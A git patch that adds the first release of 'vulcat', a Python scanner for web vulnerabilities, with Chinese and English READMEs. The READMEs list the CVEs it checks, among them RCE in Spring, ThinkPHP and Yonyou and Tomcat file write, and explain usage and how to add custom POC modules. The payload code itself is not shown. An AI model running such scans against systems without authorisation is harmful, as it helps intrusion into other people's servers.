From e6a2951883062a2cdf7663d02f94f8d91f185c7d Mon Sep 17 00:00:00 2001 From: CLincat <3132002932@qq.com> Date: Mon, 11 Apr 2022 08:58:43 +0800 Subject: [PATCH] =?UTF-8?q?vulcat-1.0.0=E5=8F=91=E5=B8=83?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- README.md | 151 ++ README_en-us.md | 155 ++ a | 1 - images/custom_1.png | Bin 0 -> 12699 bytes images/custom_2.png | Bin 0 -> 86760 bytes images/custom_3_1.png | Bin 0 -> 78539 bytes images/custom_3_2.png | Bin 0 -> 102076 bytes images/custom_4_1.png | Bin 0 -> 139759 bytes images/custom_4_2.png | Bin 0 -> 108328 bytes images/custom_5_1.png | Bin 0 -> 102788 bytes images/custom_5_2.png | Bin 0 -> 77027 bytes images/custom_6_1.png | Bin 0 -> 41549 bytes images/custom_6_2.png | Bin 0 -> 39105 bytes images/custom_7_1.png | Bin 0 -> 30788 bytes images/custom_7_2.png | Bin 0 -> 28184 bytes images/custom_8.png | Bin 0 -> 74474 bytes images/custom_9_1.png | Bin 0 -> 41186 bytes images/custom_9_2.png | Bin 0 -> 40373 bytes images/language.png | Bin 0 -> 84099 bytes lib/core/__pycache__/coreScan.cpython-38.pyc | Bin 0 -> 4270 bytes lib/core/coreScan.py | 120 ++ lib/initial/__pycache__/banner.cpython-38.pyc | Bin 0 -> 1230 bytes lib/initial/__pycache__/config.cpython-38.pyc | Bin 0 -> 1795 bytes .../__pycache__/language.cpython-38.pyc | Bin 0 -> 2786 bytes lib/initial/__pycache__/list.cpython-38.pyc | Bin 0 -> 1856 bytes lib/initial/__pycache__/parse.cpython-38.pyc | Bin 0 -> 2011 bytes lib/initial/banner.py | 34 + lib/initial/config.py | 76 + lib/initial/language.py | 93 + lib/initial/list.py | 131 ++ lib/initial/parse.py | 53 + lib/report/__pycache__/output.cpython-38.pyc | Bin 0 -> 3240 bytes lib/report/output.py | 118 ++ lib/tool/__pycache__/check.cpython-38.pyc | Bin 0 -> 1149 bytes lib/tool/__pycache__/color.cpython-38.pyc | Bin 0 -> 1597 bytes lib/tool/__pycache__/logger.cpython-38.pyc | Bin 0 -> 2755 bytes lib/tool/__pycache__/md5.cpython-38.pyc | Bin 0 -> 440 bytes lib/tool/__pycache__/thread.cpython-38.pyc | Bin 0 -> 1026 bytes lib/tool/__pycache__/timed.cpython-38.pyc | Bin 0 -> 647 bytes lib/tool/check.py | 44 + lib/tool/color.py | 68 + lib/tool/logger.py | 71 + lib/tool/md5.py | 15 + lib/tool/thread.py | 25 + lib/tool/timed.py | 19 + payloads/AlibabaDruid.py | 91 + payloads/AlibabaNacos.py | 105 ++ payloads/ApacheTomcat.py | 103 ++ payloads/Cisco.py | 91 + payloads/Keycloak.py | 93 + payloads/Spring.py | 110 ++ payloads/ThinkPHP.py | 168 ++ payloads/Weblogic.py | 91 + payloads/Yonyou.py | 151 ++ payloads/demo.py | 106 ++ thirdparty/colorama/__init__.py | 6 + thirdparty/colorama/ansi.py | 102 ++ thirdparty/colorama/ansitowin32.py | 258 +++ thirdparty/colorama/initialise.py | 80 + thirdparty/colorama/win32.py | 152 ++ thirdparty/colorama/winterm.py | 169 ++ thirdparty/requests/__init__.py | 152 ++ thirdparty/requests/__version__.py | 14 + thirdparty/requests/_internal_utils.py | 42 + thirdparty/requests/adapters.py | 533 ++++++ thirdparty/requests/api.py | 159 ++ thirdparty/requests/auth.py | 305 ++++ thirdparty/requests/certs.py | 18 + thirdparty/requests/compat.py | 75 + thirdparty/requests/cookies.py | 549 ++++++ thirdparty/requests/exceptions.py | 127 ++ thirdparty/requests/help.py | 135 ++ thirdparty/requests/hooks.py | 34 + thirdparty/requests/models.py | 966 +++++++++++ thirdparty/requests/packages.py | 26 + thirdparty/requests/sessions.py | 781 +++++++++ thirdparty/requests/status_codes.py | 123 ++ thirdparty/requests/structures.py | 105 ++ thirdparty/requests/utils.py | 1013 +++++++++++ thirdparty/tqdm/__init__.py | 41 + thirdparty/tqdm/__main__.py | 3 + thirdparty/tqdm/_dist_ver.py | 1 + thirdparty/tqdm/_main.py | 9 + thirdparty/tqdm/_monitor.py | 95 + thirdparty/tqdm/_tqdm.py | 9 + thirdparty/tqdm/_tqdm_gui.py | 9 + thirdparty/tqdm/_tqdm_notebook.py | 9 + thirdparty/tqdm/_tqdm_pandas.py | 24 + thirdparty/tqdm/_utils.py | 12 + thirdparty/tqdm/asyncio.py | 93 + thirdparty/tqdm/auto.py | 44 + thirdparty/tqdm/autonotebook.py | 28 + thirdparty/tqdm/cli.py | 308 ++++ thirdparty/tqdm/completion.sh | 19 + thirdparty/tqdm/contrib/__init__.py | 98 ++ .../__pycache__/__init__.cpython-38.pyc | Bin 0 -> 3106 bytes .../contrib/__pycache__/bells.cpython-38.pyc | Bin 0 -> 926 bytes .../__pycache__/concurrent.cpython-38.pyc | Bin 0 -> 4259 bytes .../__pycache__/discord.cpython-38.pyc | Bin 0 -> 4390 bytes .../__pycache__/itertools.cpython-38.pyc | Bin 0 -> 958 bytes .../__pycache__/logging.cpython-38.pyc | Bin 0 -> 3845 bytes .../__pycache__/telegram.cpython-38.pyc | Bin 0 -> 5406 bytes .../__pycache__/utils_worker.cpython-38.pyc | Bin 0 -> 1519 bytes thirdparty/tqdm/contrib/bells.py | 24 + thirdparty/tqdm/contrib/concurrent.py | 130 ++ thirdparty/tqdm/contrib/discord.py | 121 ++ thirdparty/tqdm/contrib/itertools.py | 36 + thirdparty/tqdm/contrib/logging.py | 128 ++ thirdparty/tqdm/contrib/telegram.py | 159 ++ thirdparty/tqdm/contrib/utils_worker.py | 40 + thirdparty/tqdm/dask.py | 46 + thirdparty/tqdm/gui.py | 191 +++ thirdparty/tqdm/keras.py | 124 ++ thirdparty/tqdm/notebook.py | 327 ++++ thirdparty/tqdm/rich.py | 152 ++ thirdparty/tqdm/std.py | 1526 +++++++++++++++++ thirdparty/tqdm/tk.py | 207 +++ thirdparty/tqdm/tqdm.1 | 316 ++++ thirdparty/tqdm/utils.py | 354 ++++ thirdparty/tqdm/version.py | 9 + vulcat.py | 30 + 121 files changed, 12928 insertions(+), 1 deletion(-) create mode 100644 README.md create mode 100644 README_en-us.md delete mode 100644 a create mode 100644 images/custom_1.png create mode 100644 images/custom_2.png create mode 100644 images/custom_3_1.png create mode 100644 images/custom_3_2.png create mode 100644 images/custom_4_1.png create mode 100644 images/custom_4_2.png create mode 100644 images/custom_5_1.png create mode 100644 images/custom_5_2.png create mode 100644 images/custom_6_1.png create mode 100644 images/custom_6_2.png create mode 100644 images/custom_7_1.png create mode 100644 images/custom_7_2.png create mode 100644 images/custom_8.png create mode 100644 images/custom_9_1.png create mode 100644 images/custom_9_2.png create mode 100644 images/language.png create mode 100644 lib/core/__pycache__/coreScan.cpython-38.pyc create mode 100644 lib/core/coreScan.py create mode 100644 lib/initial/__pycache__/banner.cpython-38.pyc create mode 100644 lib/initial/__pycache__/config.cpython-38.pyc create mode 100644 lib/initial/__pycache__/language.cpython-38.pyc create mode 100644 lib/initial/__pycache__/list.cpython-38.pyc create mode 100644 lib/initial/__pycache__/parse.cpython-38.pyc create mode 100644 lib/initial/banner.py create mode 100644 lib/initial/config.py create mode 100644 lib/initial/language.py create mode 100644 lib/initial/list.py create mode 100644 lib/initial/parse.py create mode 100644 lib/report/__pycache__/output.cpython-38.pyc create mode 100644 lib/report/output.py create mode 100644 lib/tool/__pycache__/check.cpython-38.pyc create mode 100644 lib/tool/__pycache__/color.cpython-38.pyc create mode 100644 lib/tool/__pycache__/logger.cpython-38.pyc create mode 100644 lib/tool/__pycache__/md5.cpython-38.pyc create mode 100644 lib/tool/__pycache__/thread.cpython-38.pyc create mode 100644 lib/tool/__pycache__/timed.cpython-38.pyc create mode 100644 lib/tool/check.py create mode 100644 lib/tool/color.py create mode 100644 lib/tool/logger.py create mode 100644 lib/tool/md5.py create mode 100644 lib/tool/thread.py create mode 100644 lib/tool/timed.py create mode 100644 payloads/AlibabaDruid.py create mode 100644 payloads/AlibabaNacos.py create mode 100644 payloads/ApacheTomcat.py create mode 100644 payloads/Cisco.py create mode 100644 payloads/Keycloak.py create mode 100644 payloads/Spring.py create mode 100644 payloads/ThinkPHP.py create mode 100644 payloads/Weblogic.py create mode 100644 payloads/Yonyou.py create mode 100644 payloads/demo.py create mode 100644 thirdparty/colorama/__init__.py create mode 100644 thirdparty/colorama/ansi.py create mode 100644 thirdparty/colorama/ansitowin32.py create mode 100644 thirdparty/colorama/initialise.py create mode 100644 thirdparty/colorama/win32.py create mode 100644 thirdparty/colorama/winterm.py create mode 100644 thirdparty/requests/__init__.py create mode 100644 thirdparty/requests/__version__.py create mode 100644 thirdparty/requests/_internal_utils.py create mode 100644 thirdparty/requests/adapters.py create mode 100644 thirdparty/requests/api.py create mode 100644 thirdparty/requests/auth.py create mode 100644 thirdparty/requests/certs.py create mode 100644 thirdparty/requests/compat.py create mode 100644 thirdparty/requests/cookies.py create mode 100644 thirdparty/requests/exceptions.py create mode 100644 thirdparty/requests/help.py create mode 100644 thirdparty/requests/hooks.py create mode 100644 thirdparty/requests/models.py create mode 100644 thirdparty/requests/packages.py create mode 100644 thirdparty/requests/sessions.py create mode 100644 thirdparty/requests/status_codes.py create mode 100644 thirdparty/requests/structures.py create mode 100644 thirdparty/requests/utils.py create mode 100644 thirdparty/tqdm/__init__.py create mode 100644 thirdparty/tqdm/__main__.py create mode 100644 thirdparty/tqdm/_dist_ver.py create mode 100644 thirdparty/tqdm/_main.py create mode 100644 thirdparty/tqdm/_monitor.py create mode 100644 thirdparty/tqdm/_tqdm.py create mode 100644 thirdparty/tqdm/_tqdm_gui.py create mode 100644 thirdparty/tqdm/_tqdm_notebook.py create mode 100644 thirdparty/tqdm/_tqdm_pandas.py create mode 100644 thirdparty/tqdm/_utils.py create mode 100644 thirdparty/tqdm/asyncio.py create mode 100644 thirdparty/tqdm/auto.py create mode 100644 thirdparty/tqdm/autonotebook.py create mode 100644 thirdparty/tqdm/cli.py create mode 100644 thirdparty/tqdm/completion.sh create mode 100644 thirdparty/tqdm/contrib/__init__.py create mode 100644 thirdparty/tqdm/contrib/__pycache__/__init__.cpython-38.pyc create mode 100644 thirdparty/tqdm/contrib/__pycache__/bells.cpython-38.pyc create mode 100644 thirdparty/tqdm/contrib/__pycache__/concurrent.cpython-38.pyc create mode 100644 thirdparty/tqdm/contrib/__pycache__/discord.cpython-38.pyc create mode 100644 thirdparty/tqdm/contrib/__pycache__/itertools.cpython-38.pyc create mode 100644 thirdparty/tqdm/contrib/__pycache__/logging.cpython-38.pyc create mode 100644 thirdparty/tqdm/contrib/__pycache__/telegram.cpython-38.pyc create mode 100644 thirdparty/tqdm/contrib/__pycache__/utils_worker.cpython-38.pyc create mode 100644 thirdparty/tqdm/contrib/bells.py create mode 100644 thirdparty/tqdm/contrib/concurrent.py create mode 100644 thirdparty/tqdm/contrib/discord.py create mode 100644 thirdparty/tqdm/contrib/itertools.py create mode 100644 thirdparty/tqdm/contrib/logging.py create mode 100644 thirdparty/tqdm/contrib/telegram.py create mode 100644 thirdparty/tqdm/contrib/utils_worker.py create mode 100644 thirdparty/tqdm/dask.py create mode 100644 thirdparty/tqdm/gui.py create mode 100644 thirdparty/tqdm/keras.py create mode 100644 thirdparty/tqdm/notebook.py create mode 100644 thirdparty/tqdm/rich.py create mode 100644 thirdparty/tqdm/std.py create mode 100644 thirdparty/tqdm/tk.py create mode 100644 thirdparty/tqdm/tqdm.1 create mode 100644 thirdparty/tqdm/utils.py create mode 100644 thirdparty/tqdm/version.py create mode 100644 vulcat.py diff --git a/README.md b/README.md new file mode 100644 index 0000000..0fe72a5 --- /dev/null +++ b/README.md @@ -0,0 +1,151 @@ +# vulcat +除了代码写得有亿点点烂,等亿点点小问题以外,还是阔以的......吧 + +* vulcat可用于扫描web端漏洞(框架、中间件、CMS等), 发现漏洞时会提示目标url和payload, 使用者可以根据提示对漏洞进行手工验证
+* 使用者还可以自己编写POC, 并添加到vulcat中进行扫描, 本项目也欢迎大家贡献自己的POC(白嫖) +* 如果有什么想法、建议或者遇到了BUG, 都可以issues + +**目前支持扫描的web应用程序有:** +> AlibabaDruid, AlibabaNacos, ApacheTomcat, Cicso, Spring, ThinkPHP, Weblogic, Yonyou + +
+目前支持扫描的web漏洞有: [点击展开] + +``` ++---------------+------------------+------------+----------+------------------------------------------------------------+ +| Target | Vul_id | Type | Method | Description | ++---------------+------------------+------------+----------+------------------------------------------------------------+ +| AlibabaDruid | None | unAuth | GET | 阿里巴巴Druid未授权访问 | ++---------------+------------------+------------+----------+------------------------------------------------------------+ +| AlibabaNacos | CVE-2021-29441 | unAuth | GET/POST | 阿里巴巴Nacos未授权访问 | ++---------------+------------------+------------+----------+------------------------------------------------------------+ +| ApacheTomcat | CVE-2017-12615 | WriteFile | PUT | PUT方法任意文件写入 | ++---------------+------------------+------------+----------+------------------------------------------------------------+ +| Cisco | CVE-2020-3580 | XSS | POST | 思科ASA/FTD软件跨站脚本攻击 | ++---------------+------------------+------------+----------+------------------------------------------------------------+ +| Spring | CVE-2022-22965 | RCE | POST | Spring Framework远程代码执行 | ++---------------+------------------+------------+----------+------------------------------------------------------------+ +| ThinkPHP | CNVD-2018-24942 | RCE | GET | 未开启强制路由导致RCE | +| ThinkPHP | CNNVD-201901-445 | RCE | POST | 核心类Request远程代码执行 | ++---------------+------------------+------------+----------+------------------------------------------------------------+ +| Weblogic | CVE-2020-14750 | unAuth | GET | Weblogic权限验证绕过 | ++---------------+------------------+------------+----------+------------------------------------------------------------+ +| Yonyou | CNVD-2021-30167 | RCE | GET | 用友NC BeanShell远程命令执行 | +| Yonyou | None | FileRead | GET | 用友ERP-NC NCFindWeb接口任意文件读取/下载 | ++---------------+------------------+------------+----------+------------------------------------------------------------+ +``` +
+ +## Installation & Usage +工具基于python3开发, 推荐使用python3.8及以上版本 + +* Git: `git clone https://github.com/starcat_l/vulcat.git` +* Zip: [点我](https://github.com/starcat_l/vulcat.zip) + +``` +git clone https://github.com/starcat_l/vulcat.git +cd vulcat +python3 vulcat.py -h +``` +``` +Usage: python3 vulcat.py +Examples: +python3 vulcat.py -u https://www.example.com/ +python3 vulcat.py -u https://www.example.com/ -a thinkphp --log 3 +python3 vulcat.py -f url.txt -t 10 +python3 vulcat.py --list +``` + +## Options +``` +Options: + --version show program's version number and exit + -h, --help show this help message and exit + + Target: + 指定扫描目标 + + -u URL, --url=URL 单个url (如: -u http://www.baidu.com/) + -f FILE, --file=FILE + 含有多个url的文件, 一行一个 (如: -f url.txt) + -r, --recursive 递归扫描url的每层目录 + + Optional: + 可选功能选项 + + -t THREAD, --thread=THREAD + 线程数 (默认: 3) + --delay=DELAY 延迟时间/秒 (默认: 0.5) + --timeout=TIMEOUT 超时时间/秒 (默认: 10) + --http-proxy=HTTP_PROXY + http/https代理 (如: --http-proxy 127.0.0.1:8080) + --user-agent=UA 自定义User-Agent + --log=LOG 日志等级, 可选1-3 (默认: 1) + + Application: + 指定扫描的目标类型 + + -a APPLICATION, --application=APPLICATION + 指定目标类型, 多个使用逗号分隔 (如: thinkphp 或者 thinkphp,weblogic) + (默认为全部) + + Save: + 保存扫描结果 + + --output-text=TXT_FILENAME + 以txt格式保存扫描结果, 无漏洞时不会生成文件(如: --output-text result.txt) + --output-json=JSON_FILENAME + 以json格式保存扫描结果, 无漏洞时不会生成文件(如: --output-text + result.json) + + Lists: + 漏洞列表 + + --list 查看所有Payload + + 支持的目标类型(-a参数, 不区分大小写): + AliDruid,cisco,thinkphp,tomcat,nacos,spring,weblogic,yonyou +``` + +## language +可以修改-h/--help的语言, 目前只有中文和英文(麻麻再也不用担心我看不懂啦!) + +* 打开vulcat/lib/initial/language.py +* en_us为英文, zh_cn为中文, 将return调换顺序, 然后保存文件就实现了-h语言的切换 +![English](images/language.png) + +## Custom POC +* 如何编写自己的漏洞POC, 并添加到vulcat中 +* 找到vulcat/payloads/demo.py, demo.py是vulcat中的POC模板(半成品), 需要使用者填写剩余的代码 +* **修改步骤:** +1. 先将demo.py复制一份并保存, 防止模板丢失, 然后修改文件名为POC的名字(如ThinkPHP.py), 名字可以自定义 +![custom_1](images/custom_1.png) +2. 修改文件开头的注释, 具体修改如下↓ +![custom_2](images/custom_2.png) +3. 根据代码旁边的提示, 修改相应内容↓ +![custom_3_1](images/custom_3_1.png) +如果payloads有多个, 则添加多个path和data +![custom_3_2](images/custom_3_2.png) +4. 根据提示, 修改相应内容↓ +![custom_4_1](images/custom_4_1.png) +![custom_4_2](images/custom_4_2.png) +5. 修改相应内容↓ +![custom_5_1](images/custom_5_1.png) +![custom_5_2](images/custom_5_2.png) +6. 修改↓ +![custom_6_1](images/custom_6_1.png) +![custom_6_2](images/custom_6_2.png) +7. 打开vulcat/lib/initial/config.py, 并添加应用程序的名字(注意: 名称要一样, 见下图↓) +![custom_7_1](images/custom_7_1.png) +![custom_7_2](images/custom_7_2.png) +8. 打开vulcat/lib/core/coreScan.py, 导入你的POC, 至此, vulcat就可以使用你的POC了, 你现在可以运行vulcat.py试试POC的效果 +![custom_8](images/custom_8.png) +9. 如果你想在-h/--help中显示你的POC的应用程序名称, 打开vulcat/lib/initial/language.py, 找到以下代码并继续添加即可↓ +![custom_9_1](images/custom_9_1.png) +![custom_9_2](images/custom_9_2.png) + +## Thanks +感谢以下开源项目提供的灵感以及部分源代码 +* [vulmap](https://github.com/zhzyker/vulmap) +* [sqlmap](https://github.com/sqlmapproject/sqlmap) +* [dirsearch](https://github.com/maurosoria/dirsearch) \ No newline at end of file diff --git a/README_en-us.md b/README_en-us.md new file mode 100644 index 0000000..35f44a9 --- /dev/null +++ b/README_en-us.md @@ -0,0 +1,155 @@ +# vulcat + +* Vulcat can be used to scan for vulnerabilities on the Web side. When a vulnerability is discovered, the target URL and Payload are prompted. Users can manually verify the vulnerability according to the prompt
+* Users can also write their own POC and add it to vulcat for scanning, You are also welcome to contribute your POC to the project +* If you have any ideas, suggestions, or bugs, you can issue + +**Web applications that currently support scanning:** +> AlibabaDruid, AlibabaNacos, ApacheTomcat, Cicso, Spring, ThinkPHP, Weblogic, Yonyou + +
+The current web vulnerabilities that support scanning: [Click on] + +``` ++---------------+------------------+------------+----------+------------------------------------------------------------+ +| Target | Vul_id | Type | Method | Description | ++---------------+------------------+------------+----------+------------------------------------------------------------+ +| AlibabaDruid | None | unAuth | GET | 阿里巴巴Druid未授权访问 | ++---------------+------------------+------------+----------+------------------------------------------------------------+ +| AlibabaNacos | CVE-2021-29441 | unAuth | GET/POST | 阿里巴巴Nacos未授权访问 | ++---------------+------------------+------------+----------+------------------------------------------------------------+ +| ApacheTomcat | CVE-2017-12615 | WriteFile | PUT | PUT方法任意文件写入 | ++---------------+------------------+------------+----------+------------------------------------------------------------+ +| Cisco | CVE-2020-3580 | XSS | POST | 思科ASA/FTD软件跨站脚本攻击 | ++---------------+------------------+------------+----------+------------------------------------------------------------+ +| Spring | CVE-2022-22965 | RCE | POST | Spring Framework远程代码执行 | ++---------------+------------------+------------+----------+------------------------------------------------------------+ +| ThinkPHP | CNVD-2018-24942 | RCE | GET | 未开启强制路由导致RCE | +| ThinkPHP | CNNVD-201901-445 | RCE | POST | 核心类Request远程代码执行 | ++---------------+------------------+------------+----------+------------------------------------------------------------+ +| Weblogic | CVE-2020-14750 | unAuth | GET | Weblogic权限验证绕过 | ++---------------+------------------+------------+----------+------------------------------------------------------------+ +| Yonyou | CNVD-2021-30167 | RCE | GET | 用友NC BeanShell远程命令执行 | +| Yonyou | None | FileRead | GET | 用友ERP-NC NCFindWeb接口任意文件读取/下载 | ++---------------+------------------+------------+----------+------------------------------------------------------------+ +``` +
+ +## Installation & Usage +The tool is developed based on python3. Python3.8 or later is recommended + +* Git: `git clone https://github.com/starcat_l/vulcat.git` +* Zip: [click me](https://github.com/starcat_l/vulcat.zip) + +``` +git clone https://github.com/starcat_l/vulcat.git +cd vulcat +python3 vulcat.py -h +``` +``` +Usage: python3 vulcat.py +Examples: +python3 vulcat.py -u https://www.example.com/ +python3 vulcat.py -u https://www.example.com/ -a thinkphp --log 3 +python3 vulcat.py -f url.txt -t 10 +python3 vulcat.py --list +``` + +## Options +``` +Options: + --version show program's version number and exit + -h, --help show this help message and exit + + Target: + Specify scan target + + -u URL, --url=URL A url (e.g. -u http://www.example.com/) + -f FILE, --file=FILE + A file containing multiple urls, one URL per line + (e.g. -f url.txt) + -r, --recursive Recursively scan each directory of the URL + + Optional: + Optional function options + + -t THREAD, --thread=THREAD + The number of threads (default: 3) + --delay=DELAY Delay time/s (default: 0.5) + --timeout=TIMEOUT Timeout/s (default: 10) + --http-proxy=HTTP_PROXY + The HTTP/HTTPS proxy (e.g. --http-proxy + 127.0.0.1:8080) + --user-agent=UA Customize the User-Agent + --log=LOG The log level, Optional 1-3 (default: 1) + + Application: + Specify the target type for the scan + + -a APPLICATION, --application=APPLICATION + Specifies the target type, separated by commas (e.g. + thinkphp / thinkphp,weblogic) (default: all) + + Save: + Save scan results + + --output-text=TXT_FILENAME + Save the scan results in TXT format, no vulnerability + will not generate files(e.g. --output-text result.txt) + --output-json=JSON_FILENAME + Save the scan results in JSON format, no vulnerability + will not generate files(e.g. --output-text + result.json) + + Lists: + Vulnerability list + + --list View all payload + + Supported target types(Case insensitive): + AliDruid,cisco,thinkphp,tomcat,nacos,spring,weblogic,yonyou +``` + +## language +You can change the language of -h/--help, currently only Chinese and English + +* Open the vulcat/lib/initial/language.py +* Switching the "return" order and then saving the file implements the -h/--help language switch +![Language](images/language.png) + +## Custom POC +* How do I write my own vulnerability POC and add it to vulcat +* Find vulcat/payloads/demo.py, which is a POC template in Vulcat (semi-finished) and requires the user to fill in the rest of the code + +* **Modify the steps:** +1. Make a copy of demo.py and save it to prevent template loss. Then change the name of the POC file (for example, thinkphp.py) +![custom_1](images/custom_1.png) +2. Modify the comment at the beginning of the file↓ +![custom_2](images/custom_2.png) +3. Modify according to the prompt next to the code↓ +![custom_3_1](images/custom_3_1.png) +If payloads have multiple, add multiple paths and data +![custom_3_2](images/custom_3_2.png) +4. Modify the content as prompted↓ +![custom_4_1](images/custom_4_1.png) +![custom_4_2](images/custom_4_2.png) +4. Modify the content as prompted↓ +![custom_5_1](images/custom_5_1.png) +![custom_5_2](images/custom_5_2.png) +4. Modify the content as prompted↓ +![custom_6_1](images/custom_6_1.png) +![custom_6_2](images/custom_6_2.png) +7. Open the vulcat/lib/initial/config.py, and add the application name (note: shall be the same name, see image below↓) +![custom_7_1](images/custom_7_1.png) +![custom_7_2](images/custom_7_2.png) +8. Open vulcat/lib/core/coreScan.py, import your POC, so far, vulcat can use your POC, you can now run the vulcat.py try out the effect of POC +![custom_8](images/custom_8.png) +9. 如果你想在-h/--help中显示你的POC的应用程序名称, 打开vulcat/lib/initial/language.py, 找到以下代码并继续添加即可↓ +9. If you want to in -h/--help show your POC application name, open the vulcat/lib/initial/language.py, find the following code and continue to add +![custom_9_1](images/custom_9_1.png) +![custom_9_2](images/custom_9_2.png) + +## Thanks +* [vulmap](https://github.com/zhzyker/vulmap) +* [sqlmap](https://github.com/sqlmapproject/sqlmap) +* [dirsearch](https://github.com/maurosoria/dirsearch) \ No newline at end of file diff --git a/a b/a deleted file mode 100644 index 61de0ed..0000000 --- a/a +++ /dev/null @@ -1 +0,0 @@ -测试 \ No newline at end of file diff --git a/images/custom_1.png b/images/custom_1.png new file mode 100644 index 0000000000000000000000000000000000000000..24c75b883bb30997df2371f85d83621c63032026 GIT binary patch literal 12699 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 